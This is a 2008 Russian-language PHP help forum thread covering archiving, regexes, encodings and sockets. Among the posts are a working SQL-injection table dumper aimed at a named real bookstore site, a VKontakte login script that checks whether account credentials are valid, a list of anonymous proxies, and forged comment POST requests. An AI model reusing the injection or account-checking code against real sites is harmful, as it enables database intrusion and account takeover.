Так что надо смотреть ещё, что за сервак.
вот так без разницы:
$TEXT = array_map('trim',explode("\n",$_POST['text']));

MongBa†
24.06.2008, 16:51
Пиветствую
Вопрос касается даже больше архивирования чем РНР но все же

как сделать РНР скрипт который бы при запуске бекапил в backup.tar.gz папку /home/mong/public_html/forum/ ?
естественно с сохранением структуры каталогов и не удаляя файлы.

ОСя FreeBSD c gzip

Naydav
24.06.2008, 16:54
Вопрос касается даже больше архивирования чем РНР но все же
http://www.php.net/manual/ru/ref.zip.php

Вот готовый класс
http://www.phpclasses.org/browse/package/945.html
Там с описанием
Это если на PHP нужно...
А так можно кроном(?) unix команды архивирования использовать

Vid0k
24.06.2008, 17:01
пишу тестилку проксиков на пхп
засекаю время перед чтением с сокета через micotime()
после завершения чтения засекаю второе время
потом величину буфера делю на разницу времен и получаю вот эту шнягу
Начальное время: 1214312272.3718
Конечное время: 1214312275.5016
Разница: 3.129772901535
Скорость равна:6011.9377961166

<?
$wr_pic="http://www.2ip.ru";
$proxy = "82.94.187.199";
$port = 1080;
$buffer="";
$fp = fsockopen($proxy, $port);
fputs($fp, "GET $wr_pic HTTP/1.0\r\nHost: $proxy\r\n\r\n");
$time=0;
$time2=0;
$time=microtime(true);
while(!feof($fp)){
$buffer .= fread($fp,2500);
}
fclose($fp);
$time2=microtime(true);
$time3=0;
$time3=$time2-$time;
print "Начальное время: ".$time."<br>";
print "Конечное время: ".$time2."<br>";
print "Разница: ".$time3."<br>";
print "Скорость равна:".strlen($buffer)/$time3;
?>

поидеи должен был получить кол-во байтов в секунду но чот выдача меня не очень радует))

oRb
24.06.2008, 17:30
пишу тестилку проксиков на пхп
засекаю время перед чтением с сокета через micotime()
после завершения чтения засекаю второе время
потом величину буфера делю на разницу времен и получаю вот эту шнягу
Начальное время: 1214312272.3718
Конечное время: 1214312275.5016
Разница: 3.129772901535
Скорость равна:6011.9377961166

<?
$wr_pic="http://www.2ip.ru";
$proxy = "82.94.187.199";
$port = 1080;
$buffer="";
$fp = fsockopen($proxy, $port);
fputs($fp, "GET $wr_pic HTTP/1.0\r\nHost: $proxy\r\n\r\n");
$time=0;
$time2=0;
$time=microtime(true);
while(!feof($fp)){
$buffer .= fread($fp,2500);
}
fclose($fp);
$time2=microtime(true);
$time3=0;
$time3=$time2-$time;
print "Начальное время: ".$time."<br>";
print "Конечное время: ".$time2."<br>";
print "Разница: ".$time3."<br>";
print "Скорость равна:".strlen($buffer)/$time3;
?>

поидеи должен был получить кол-во байтов в секунду но чот выдача меня не очень радует))
тк правильное использование microtime:
list($usec, $sec) = explode(" ", microtime());
При вызове без необязательного параметра, возвращается строка в формате "msec sec", где sec - это количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), а msec - это дробная часть.

Vid0k
24.06.2008, 17:44
спс попробую

MaTpOc
24.06.2008, 22:50
Где можно скачать норм учебник по пхп???
(я 0 в пхп)

FeraS
24.06.2008, 22:52
MaTpOc
Отбирал самые интересные)
http://aeweb.ru/books/php_book/

n3m0
24.06.2008, 23:05
Где можно скачать норм учебник по пхп???
(я 0 в пхп)
Мда, как задолбали такие посты. Ну подними глаза. Тут же соседний топик!!! Даже называется: Books PHP

http://forum.antichat.ru/threadnav8721-1-10.html

Chaak
25.06.2008, 10:49
MaTpOc
Отбирал самые интересные)
http://aeweb.ru/books/php_book/
Дабавь еще туда "PHP это просто - прграмируем для Web сайта". Очень познавательная книга для новичка(я по ней когда-то учился). Охватывает вопросы работы с файлами, базой данных. Так же рассматриваются CMS. Очень полезная книга - советую! :cool:

Chaak
25.06.2008, 10:51
Извините за ламерский вопрос:
У меня есть руглярка:
preg_match('/<a>(.*?)<\/a>/',$d,$d);
Какой оператор мне применить, что бы выхватило только (.*?), без тегов <a></a>?

Red_Red1
25.06.2008, 11:13
Так оно и будет выхватывать то что в скобках отдельно. Просто обратись к нужно му элементу массива где будет лежать этот карман.
сделай вывод результатов вот так print_r ($d) и увидешь какой тебе нужен элемент.

inlanger
25.06.2008, 11:56
preg_match_all('#/<a>(.*?)<\/a>/#is',$d,$d,PREG_SET_ORDER);
echo $d[0];

m0nsieur
25.06.2008, 18:52
Что-то немного подвис на мысли как сохранить массив $result при рекурсивном вызове функции getcurpos, чтобы все значения хранились в нем, а не только последняя выборка.
Ситуация следующая:

class Curpos_m extends Model {
....
function getcurpos($id) {
$this->db->select('id, pid, title');
$this->db->where('id', $id);
$this->db->limit(1);
$query = $this->db->get('ai_menu_'.$this->table);
$data = $query->result_array();
global $pid;
foreach ($data as $key) {
$pid = $key['pid'];
}
$result[$pid] = $data;
if($pid != -1) {
$this->getcurpos($pid);
} else {
return $result;
}
}
}

Naydav
25.06.2008, 18:57
Или пересмотри саму функцию, например делай дополнение в массив, после рекурсивного вызова в этой же функции,
Или делай массив $result - СТАТИЧЕСКИМ

gisTy
25.06.2008, 21:44
вопрос появился.. пишу дампер таблички information_schema.tables...

<?php
$host = 'www.llewellyn.com';

$fp = fsockopen($host, 80, $errno, $errstr, 30);
$pos = 0;
$pos1 = 0;
$i1 = 131;
$tableName = '';
if (!$fp) {
echo "$errstr ($errno)<br />\n";
exit;
}
for ($i=1; $i<$i1;$i++) {
$out = 'GET /bookstore/author.php?id=-48208+union+select+1,2,3,concat(0x7c3a7c3a,table_s chema,0x2e,table_name,0x3a7c3a7c),5,null,null,null ,9,10,11,12+from+information_schema.tables+limit+' .$i.',1/*'." HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "User-Agent: LOL/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
$out .= "Connection: Close\r\n\r\n";

while (!feof($fp))
{
$packet = fgets($fp);
fwrite($fh,$packet);
$pos = strpos($packet,'|:|:');
$pos1 = strpos($packet,':|:|');
$tableName = substr($packet, $pos+4, $pos1 - $pos - 4);
if (($pos) and ($pos1))
{
echo " pos: $pos\n pos1: $pos1\n table name: $tableName\n";
}
}
$out = '';
}

fclose($fp);
?>

появилась проблема... цикл for не работает.. точнее он проходит один шаг и завершается.. "кто виноват/ что делать?" (с)

mff
26.06.2008, 00:45
C циклом всё ок! У меня вот что: Fatal error: Maximum execution time of 30 seconds exceeded

[Raz0r]
26.06.2008, 01:12
Значит за 30 секунд цикл не успевает сделать 131 запрос к серверу, убирай ограничение на время выполнения скрипта

set_time_limit(0);
ini_set("max_execution_time",0);

gisTy
26.06.2008, 05:24
хм.. пускаю на локалхосте через php-cli... попробую сейчас так сделать..
да и дело в том что он проходит первый раз.. и все... вот что в консольке получается:

pos: 39
pos1: 72
table name: information_schema.COLLATIONS
pos: 52
pos1: 85
table name: information_schema.COLLATIONS
pos: 34
pos1: 67
table name: information_schema.COLLATIONS
pos: 20
pos1: 53
table name: information_schema.COLLATIONS

все это происходит секунды за две.. так что я думаю set_time_limit() тут не при чем...

все... разобрался я с этим... просто в конце в for надо было добавить строку
$fp = fsockopen($host, 80, $errno, $errstr, 30);
всем спасибо=)

mff
26.06.2008, 17:17
Помогите разобраться, эта регулярка
preg_match("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $_POST['email'])
не пропускает emailы вида xxx@x-xx.xx. Короче с тере в домене не пропускает.

zythar
26.06.2008, 17:33
ну дак добавь тире в список разрешенных символов. чего тут трудного?

Naydav
26.06.2008, 17:37
mff
preg_match("/[0-9a-z_]+@[0-9a-z_\-^\.]+\.[a-z]{2,3}/i", "xxx@x-xx.xx");

mff
26.06.2008, 17:47
Naydav, спасибо! Работает как нада :D Регулярные выражения - зло :D

Naydav
26.06.2008, 18:10
Там всего лишь пару символов добавлено
preg_match("/[0-9a-z_]+@[0-9a-z_\-^\.]+\.[a-z]{2,3}/i", "xxx@x-xx.xx");
[0-9a-z_\-^\.] - это список допустимых значений, ничего сложного нет :)
Регулярные выражения - зло
Лень - большее зло :)

hoty
27.06.2008, 17:42
скажите, плз, на сайте используется русский язык:
1)utf-8 хуже cp1251, если да, то почему и в чем?
2) как средствами php, перекодировать базу mysql bp utf-8 в cp1251 (именно на php)?

Naydav
27.06.2008, 17:56
1)utf-8 хуже cp1251, если да, то почему и в чем?
Ну почему же хуже? наоборот лучше, никогда не возникает проблем с кодировкой полученных данных(причем на разных языках), например таких, как при аплоад файлов с помощью аякс(сабмит формы в скрытый фрейм)
Единственная проблема, это изменение темплейта...
То есть все данные в файле темплейта должны быть в кодировке ютф8
А недостатков у ютф8, наверно и нет

astrologer
27.06.2008, 18:07
У utf-8 по-моему, только один недостаток - это двухбайтовая кодировка, соответственно размер базы данных увеличится.
аплоад файлов с помощью аяксЭто как?) Просвети, пожалуйста.

StalkerKill
27.06.2008, 18:09
Warning: fsockopen() has been disabled for security reasons in /www/croe.net/p/i/........./home/site/WebIcqPro.class.php on line 1055
Error: Cant establish connection to: login.icq.com:80

Что это означает? Поставил YourICQ BOT, установил все зашел в админку. Подключаюсь, а он вы дает эту ошибку

Naydav
27.06.2008, 18:15
Это как?) Просвети, пожалуйста.
Ну ты мне еще помогал
yаверно это уже обсуждалось:
Если мы используем ajax(библиотека jquery), то данные передаються в utf8, можно ли передавать данные в windows-1251

Проблема возникла в том, что когда просто передаю форму, то данные идут на сервер в ютф8, я их обрабатываю и все нормально...
Но когда к форме прикрепляю файл, то данные идут в windows-1251
Вопрос:
Как заставить передавать в одной кодировке(в любой) форму, внезависимости передаеться или нет file

Не проверять же на серваке кодировку данных...
я уже заи"лсо, блин


Разве на точке не ответили?
Кстати, jQuery добавляет дополнительный заголовок к запросу:
Код:

// Set header so the called script knows that it's an XMLHttpRequest xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");

Блин, самое оно , работы много нету даже времени искать ? все горит
если сог бы купил бы тебе пива

Я знаю, что
При отсылке файла идёт обычный сабмит формы в скрытый фрейм, а без файла — через Ajax-запрос. Поэтому правило простое — если есть файл, то колировка у остальных полей будет 1251.

А ещё лучше выдавать все страницы в UTF-8, тогда эти проблемы не будут возникать как класс.

Naydav
27.06.2008, 18:24
astrologer

Мифы о недостатках
http://webmastak.com/article.aspx?id=300
так интересненько, о реальных примерах бы почитать

astrologer
27.06.2008, 18:31
astrologer

так интересненько, о реальных примерах бы почитатьЕсли hoty нужно перекодировать базу из utf-8 в cp1251, то, очевидно, в базе есть кириллица - поэтому я и не стал уточнять.

hoty
27.06.2008, 18:54
у меня joomla + каталог на sobi2
-скачал официальную версию joomla 1.5.3 (с оф.сайта) через Denwer установил её.
скачал с оф.сайта русификацию для joomla.
// отображается нормально - по русски все //
-далее, скачал sobi2 с офф сайта. прикрепил к joomla
// отображается нормально - joomla по русски, sobi2 по англ. //
установил русификацию sobi2
// отображается НЕнормально - joomla по русски, sobi2 иероглифами, и наоброт//

что делать, не знаю, охото сейчас сайт.. а phpс зимы начну учить ((

Naydav
27.06.2008, 18:58
// отображается НЕнормально - joomla по русски, sobi2 иероглифами, и наоброт//

Ну скорее всего данные от одного идут в utf8, а от другого в cp1251
Проверь - измени кодировку в браузере на utf8

Посмотри в базе (например с помощью PhpMyAdmin) в какой кодировке храняться данные от joomla и sobi2

fujixakep
27.06.2008, 19:20
а phpс зимы начну учить ((
а сечас что религия непозволяет

fujixakep
27.06.2008, 19:43
<?php

$KB = 1024;
//$MB = 1048576;
//$GB = 1073741824;

$link = "http://www.freewebs.com/luismi83/gpedit.zip";

$out = get_headers($link);

foreach($out as $value){
if($strpos = strpos($value, "Length: ")){

$size = substr($value, $strpos + 8);
}
}

if($size < $KB){
$size = 0;
}elseif($size == $KB){
$size = 1;
}elseif($size > $KB){
$size = sprintf("%4.0f", ceil($size / 1024));
}

print $size."KB<br />\r\n";

?>

на все ушло 30 минут и это гуд

NOmeR1
27.06.2008, 20:03
StalkerKill, сокеты отключены по причинам безопастности, не получется у тебя, братец, забацать бота на том сайте, заюзай другой хост, я советовал в первом посте моей темы.
А почему спрашиваешь не там, где все спрашивают?

!{ra!{e/\/
28.06.2008, 11:18
каким образом можно вытащить ID юзера с Vkonaktе?

pento
28.06.2008, 12:30
каким образом можно вытащить ID юзера с Vkonaktе?
Поясни

fujixakep
28.06.2008, 12:37
Поясни
))

pento
28.06.2008, 12:48
))
Чито?)

!{ra!{e/\/
28.06.2008, 12:51
хочу написать скрипт...юзер заходит на сайт вбивает свое мыло+пароль с вконтакте и показывается его фото +кое что из инфо...как это сделать?
..начал писать из готовых..
<?php

set_time_limit(0);

$fp=fsockopen("vkontakte.ru",80,$errno,$errstr);

$out = "POST http://vkontakte.ru/login.php HTTP/1.0\r\n";
$out .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$out .= "Accept-Language: ru\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "Content-Length: 38\r\n";
$out .= "Pragma: no-cache\r\n";
$out .= "Cookie: remixchk=5; remixlang=0; remixfriends=1; remixclosed_tabs=0; remixautobookmark=2\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
$out .= "email=rambler@rambler.ru&pass=Dnrj43e9";
fwrite($fp,$out);
echo "coocie--->> ".$_COOKIE['remixmid'];
# Записываем ответ сервера в переменную
while (!feof($fp))
{
$ans=fgets($fp);
}
echo $ans;


# Если 302 найден, значит акк валидный
if(preg_match("/\b302 Found\b/is", $ans)) {
echo " true";
} else {
echo " false";
}

fclose($fp);
?>
что делать дальше?

GreenTiger
28.06.2008, 13:17
Мне интересно, зачем вы все проходите через login.php ?
Сразу cookie ставить на index нельзя?
Вопросов тогда не было бы

GreenTiger
28.06.2008, 13:18
каким образом можно вытащить ID юзера с Vkonaktе?
cookie на index, ответ парсишь preg_match 'em

!{ra!{e/\/
28.06.2008, 13:27
Мне интересно, зачем вы все проходите через login.php ?
Сразу cookie ставить на index нельзя?
Вопросов тогда не было бы
можешь подробнее написать?....как сразу подставлять куки?..нужно же их вначале получить для конкретного мыла+пароля?...не так?

!{ra!{e/\/
28.06.2008, 13:32
cookie на index, ответ парсишь preg_match 'em
нужно же знать еще ID

GreenTiger
28.06.2008, 13:49
можешь подробнее написать?....как сразу подставлять куки?..нужно же их вначале получить для конкретного мыла+пароля?...не так?
Непостоянные куки только мыло, пароль и айди, но обязательные и другие куки не помню какие, но они постоянные

GreenTiger
28.06.2008, 13:49
нужно же знать еще ID
На заголовок login.php смотри и отправляй следующий сокет с этим ид

!{ra!{e/\/
28.06.2008, 13:55
На заголовок login.php смотри и отправляй следующий сокет с этим ид
...неполучается(((
На заголовок login.php смотри...как??

fujixakep
28.06.2008, 13:59
$answer = explode("\r\n", $answer);
for ($i = 0; $i <= count($answer); $i++) {
if (strstr($answer[$i], "Set-Cookie: ")) { $cookie = str_replace("Set-Cookie: ","",answer[$i]); }
}

ну а далее как обычно

Cookie: ".$cookie."\r\n

mouse.pro
28.06.2008, 14:00
каким образом можно вытащить ID юзера с Vkonaktе?
Отправляешь сокет на login.php, в ответе прийдет вместе с куками id, парсишь и все.

!{ra!{e/\/
28.06.2008, 16:22
<?php

set_time_limit(0);

$fp=fsockopen("vkontakte.ru",80,$errno,$errstr);
# Отправляем заголовки
$out = "POST http://vkontakte.ru/login.php HTTP/1.0\r\n";
$out .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$out .= "Accept-Language: ru\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "Content-Length: 38\r\n";
$out .= "Pragma: no-cache\r\n";
$out .= "Cookie: remixchk=5; remixlang=0; remixfriends=1; remixclosed_tabs=0; remixautobookmark=2\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
$out .= "email=mail@rambler.ru&pass=qwerty123";
fwrite($fp,$out);
echo "coocie--->> ".$_COOKIE['remixmid'];
# Записываем ответ сервера в переменную
//$ans=fgets($fp,3000);
echo $ans;
while(!feof($fp))
{
$ans=fgets($fp);
echo $ans;
}
# Закрываем сокет
echo $ans;

# Если 302 найден, значит акк валидный
if(preg_match("/\b302 Found\b/is", $ans)) {
echo " true";
} else {
echo " false";
}

fclose($fp);
?>
в чем ошибка?
HTTP-шлюз не отвечает

l0l1k
28.06.2008, 20:27
чо такое foreach в php ?????
обясните плизз. а то в манулах все на англиском и мине не понятна

Shadow_p1raT
28.06.2008, 20:34
Данный тип цикла предназначен специально для перебора всех элементов массива и
был добавлен только в четвертой версии языка PHP. Выглядит он следующим обра-
зом:

foreach(массив as $key=>$value){
команды;
}

Red_Red1
28.06.2008, 20:35
foreach Это цикл для перебора ассоциативного массива. Удобная штука. Вот тебе на русском мануал
http://www.php.su/php/intro/?9_2

fujixakep
29.06.2008, 05:00
HTTP proxies:
203.162.224.139:80
58.53.220.9:80
201.54.148.7:3128
66.60.234.132:80
203.162.163.80:80

Anonymous HTTP proxies:
198.151.38.68:80
211.38.131.22:80
207.97.253.254:80
217.20.130.86:80
203.177.74.139:8080

High anonymous (elite) HTTP proxies:
66.60.234.132:80
128.187.223.211:3127
216.194.70.3:8118
222.47.88.14:3128
81.21.5.198:3128

Free HTTPS proxy list:
202.168.245.10:3128
190.68.184.42:3128

Free SOCKS 4 proxy list:
216.227.52.232:5208
71.135.116.130:40033
67.187.225.159:1026
24.255.217.98:13648
69.245.100.209:1027

Free SOCKS 5 proxy list:
216.227.52.232:5208
71.135.116.130:40033
24.255.217.98:13648
76.235.181.23:52677
201.17.172.71:1024

Free RUSSIAN proxies:
213.128.217.107:3128
217.23.176.78:3128
217.119.19.234:3128
86.110.27.240:3128
85.88.188.85:3128
81.30.211.105:3128
195.54.209.151:3128
195.54.209.166:3128
87.236.46.19:6588
212.220.154.218:3128

MafiaBoy3
29.06.2008, 06:28
Помогите с реализацией алгоритма как у дигга я не пойму как он работает

Дикс
29.06.2008, 11:24
Решил освежить свои знания по подделке запросов к серверу - написал небольшой скрипт на пхп.

<?php
//90.156.158.104 www.litprom.ru
//Connection: Close\r\n\r\n
$fp = fsockopen("www.litprom.ru", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {

$headers = "POST /text.phtml?storycode=343 HTTP/1.0\r\n";
$headers .= "Host: www.litprom.ru\r\n";
$headers .= "User-Agent: Mosaic%200.1b\r\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$headers .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$headers .= "Accept-Encoding: gzip,deflate\r\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$headers .= "Keep-Alive: 300\r\n";
$headers .= "Connection: keep-alive\r\n";
$headers .= "Referer: www.litprom.ru\r\n";
$headers .= "Cookie: PHPSESSID=ec8167a0ceae9ed75240f506212889bf; b=b; hotlog=1\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: 145\r\n";
$headers .= "POSTDATA: login=deex&password=pass&comment=%D0%9C%D0%B8%D1%80%D1%83+%D0%BC%D0%B8%D1%8 0%21&submit=%C7%E0%F5%F3%E9%FF%F0%E8%F2%FC%21&storycode=343&chapt=1\r\n\r\n";



fwrite($fp, $headers);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>


а он орёт что длина не указана..
у нас тут прокся на работе. может она всё портит?


HTTP/1.0 411 Length Required Server: squid/2.5.STABLE6 Mime-Version: 1.0 Date: Sun, 29 Jun 2008 07:19:49 GMT Content-Type: text/html Content-Length: 1879 Expires: Sun, 29 Jun 2008 07:19:49 GMT X-Squid-Error: ERR_INVALID_REQ 0 X-Cache: MISS from linux.key-soft.net Connection: close
ERROR
The requested URL could not be retrieved

While trying to process the request:
GET /text.phtml?storycode=343 HTTP/1.0
Host: www.litprom.ru
User-Agent: Mosaic%200.1b
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: www.litprom.ru
Cookie: PHPSESSID=ec8167a0ceae9ed75240f506212889bf; b=b; hotlog=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 145
POSTDATA: login=deex&password=pass&comment=%D0%9C%D0%B8%D1%80%D1%83+%D0%BC%D0%B8%D1%8 0%21&submit=%C7%E0%F5%F3%E9%FF%F0%E8%F2%FC%21&storycode=343&chapt=1


The following error was encountered:
Invalid Request

Some aspect of the HTTP Request is invalid. Possible problems:
Missing or unknown request method
Missing URL
Missing HTTP Identifier (HTTP/1.0)
Request is too large
Content-Length missing for POST or PUT requests
Illegal character in hostname; underscores are not allowed

Your cache administrator is admin.

NOmeR1
29.06.2008, 11:33
Не надо писать POSTDATA, нужно сразу писать запрос, а перед ним идёт двойной перенос строки
$headers .= "Content-Length: 145\r\n\r\n";
$headers .= "login=deex&password=pass&comment=%D0%9C%D0%B8%D1%80%D1%83+%D0%BC%D0%B8%D1%8 0%21&submit=%C7%E0%F5%F3%E9%FF%F0%E8%F2%FC%21&storycode=343&chapt=1\r\n";

Piflit
29.06.2008, 11:37
в конце данных \r\n тоже не нужно

Дикс
29.06.2008, 12:05
спасибо. тока литпром чет отказывается их принимать всё равно..

.Begemot.
29.06.2008, 21:33
Здравствуйте, подскажи как реализовать такую весчь, ввожу прокси, порт, имя сайта, нажимаем на кнопку и скрипт в отдельном окошке отображает этот сайт загруженный через прокси.

Ch3ck
29.06.2008, 22:24
Простой запрос через прокси:

<?
$path="Адрес сайта";
$head="POST $path \\r\\n\\r\\n";
$fp = fsockopen("81.56.187.95", 80); // Адрес проксика
fputs($fp,$head);
fclose($fp);
echo "DONE";
?>


Аштимэль форму напишешь уж наверно...

krypt3r
30.06.2008, 07:41
Бгг, а как насчет указания версии протокола?

$head = "POST $path HTTP/1.1\r\n\r\n";

ZET36
30.06.2008, 13:07
подскажите где скачать исходник icq сервера (ну что бы можно было конектится не к стандартному login.icq.com при запуске аськи а к своему)

Exlibris
30.06.2008, 13:24
ZET36 а разве есть такие на пыхе?
_http://forum.antichat.ru/thread65791.html

brasco2k
30.06.2008, 13:26
подскажите где скачать исходник icq сервера (ну что бы можно было конектится не к стандартному login.icq.com при запуске аськи а к своему)
Такого нет, но можно создать а потом классом WebIcqPro конектится к нему

ZET36
30.06.2008, 14:18
а разве это не он? http://phpclasses.segmenta.ru/browse/package/996.html я гуглил вот наткнулся точно не знаю он ли это

MafiaBoy3
30.06.2008, 14:26
<html>
<head>
<style type="text/css">
body {
margin: 0;
padding: 0 20px;
background: #e5ecf3;
}
#container {
margin: 0 auto;
position: relative;
}
#header {
position: relative;
}
#none1 {
background-image: url(1.gif);
}
#none2 {
background-image: url(2.gif);
}
#none3 {
background-image: url(3.gif);
}
</style>
</head>

<body>
<div id="container">
<div id="header">
<div id="none1">
</div>
<div id="none2">
</div>
<div id="none3">
</div>
</div>
</div>
</body>
</html>

Не отображаются картинки. Интересно, почему?